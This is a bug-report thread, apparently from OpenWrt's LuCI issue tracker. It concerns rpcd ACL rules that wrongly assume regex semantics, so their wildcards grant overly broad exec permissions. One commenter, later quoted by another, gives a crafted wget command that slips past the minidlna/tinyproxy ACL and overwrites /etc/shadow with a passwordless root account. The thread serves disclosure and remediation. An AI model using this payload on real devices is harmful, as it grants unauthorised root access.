Bug report: Miscelaneous ACLs inadvertently contain wildcards for matching N copies of a character set

[tim-nordell-nimbelink]

Several ACLs accidentally include too much since they assume regex(...) instead of fnmatch(...) semantics:

[user@localhost luci]$ git grep ']\*' 'applications/*.json'
applications/luci-app-adblock/root/usr/share/rpcd/acl.d/luci-app-adblock.json:                          "/etc/init.d/adblock report [a-z]* [0-9]* [0-9]* *": [ "exec" ],
applications/luci-app-banip/root/usr/share/rpcd/acl.d/luci-app-banip.json:                              "/etc/init.d/banip search [A-Za-z0-9:.]*": [ "exec" ],
applications/luci-app-banip/root/usr/share/rpcd/acl.d/luci-app-banip.json:                              "/etc/init.d/banip content [A-Za-z0-9]* *": [ "exec" ],
applications/luci-app-minidlna/root/usr/share/rpcd/acl.d/luci-app-minidlna.json:                                "/usr/bin/wget -q http://127.0.0.1:[0-9]*/ -O -": [ "exec" ]
applications/luci-app-tinyproxy/root/usr/share/rpcd/acl.d/luci-app-tinyproxy.json:                              "/usr/bin/wget -q http://127.0.0.1:[0-9]*/ -O -": [ "exec" ],
applications/luci-app-travelmate/root/usr/share/rpcd/acl.d/luci-app-travelmate.json:                            "/etc/init.d/travelmate setup [0-9a-z_]* [0-9a-z_]* [0-9]*" : [ "exec" ],

Ideally these could utilize FNM_EXTMATCH if possible for these matches which would require a change in rpcd.

See:

• Feature request: acls: utilize FNM_EXTMATCH with fnmatch(...) if possible rpcd#28.
• luci-proto-modemmanager: Fix command injection in ACL permissions #8426

[systemcrash]

IIRC there are more than this - but sometimes they're necessary so diverse command matching works.

[tim-nordell-nimbelink]

IIRC there are more than this - but sometimes they're necessary so diverse command matching works.

Fair enough, but it's one thing if the ACL author did something like:

"/usr/sbin/uhttpd -m *": [ "exec" ],

where they expected arbitrary arguments versus:

"/usr/bin/wget -q http://127.0.0.1:[0-9]*/ -O -": [ "exec" ],

where they clearly were expecting to only limit the port part of the URL, but they failed in that because they expected regex(...) instead of fnmatch(...). This particular ACL example lets you overwrite /etc/shadow with your own content. That's not a problem with typical usage of OpenWRT where there's only a root user, but it'd be unexpected and problematic if someone took advantage of multiple users in the GUI.

This particular wget line would still match the fnmatch(...) in rpcd:

wget -q http://127.0.0.1:1 https://raw.githubusercontent.com/openwrt/openwrt/refs/heads/main/package/base-files/files/etc/shadow -O /etc/shadow -- / -O -

but do harmful things to the system by replacing /etc/shadow with:

root:::0:99999:7:::
daemon:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

[geldot]

This particular wget line would still match the fnmatch(...) in rpcd:

wget -q http://127.0.0.1:1 https://raw.githubusercontent.com/openwrt/openwrt/refs/heads/main/package/base-files/files/etc/shadow -O /etc/shadow -- / -O -

but do harmful things to the system by replacing /etc/shadow with:

root:::0:99999:7:::
daemon:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

It's a real problem. Almost anyone relying on the ACL system to expose services has a root vulnerability at the moment and I'll be surprised if this doesn't get assigned a CVE.

The syntax is kind of a surprise and looks like a regex, but even the regexes people have written don't look valid, reviewers seemed not to mind.

[systemcrash]

Some instances can indeed be fixed. You're welcome to submit PRs.